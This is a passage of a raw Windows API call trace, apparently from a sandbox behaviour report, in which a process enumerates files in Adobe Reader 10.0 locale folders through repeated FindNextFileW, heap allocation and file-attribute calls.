nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bdc8 [0082.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1287bd8 [0082.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.321] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.321] GetLastError () returned 0x12 [0082.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.321] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.322] GetLastError () returned 0x12 [0082.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12878c0) returned 1 [0082.322] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12879c8) returned 1 [0082.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12877b8) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.NLD", cAlternateFileName="")) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NLD", cAlternateFileName="")) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NLD", cAlternateFileName="")) returned 0 [0082.322] GetLastError () returned 0x12 [0082.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.323] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0082.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.341] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.341] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.342] NtClose (Handle=0x174) returned 0x0 [0082.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.343] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="")) returned 1 [0082.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bde8 [0082.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12877b8 [0082.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.POL", cAlternateFileName="")) returned 1 [0082.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125be08 [0082.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12879c8 [0082.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.POL", cAlternateFileName="")) returned 1 [0082.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125be28 [0082.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12878c0 [0082.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.363] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.POL", cAlternateFileName="")) returned 1 [0082.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125be48 [0082.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1287ce0 [0082.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.364] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.POL", cAlternateFileName="")) returned 1 [0082.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125be68 [0082.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1287de8 [0082.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.366] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.POL", cAlternateFileName="")) returned 1 [0082.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125be88 [0082.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1287ef0 [0082.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.367] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.POL", cAlternateFileName="")) returned 1 [0082.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bea8 [0082.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1287ff8 [0082.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.369] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.POL", cAlternateFileName="")) returned 1 [0082.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bec8 [0082.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288100 [0082.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.370] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.POL", cAlternateFileName="")) returned 1 [0082.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bee8 [0082.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288208 [0082.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.372] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.POL", cAlternateFileName="")) returned 1 [0082.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bf08 [0082.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288310 [0082.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.373] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.POL", cAlternateFileName="")) returned 1 [0082.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bf28 [0082.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1288418 [0082.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.POL", cAlternateFileName="")) returned 1 [0082.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 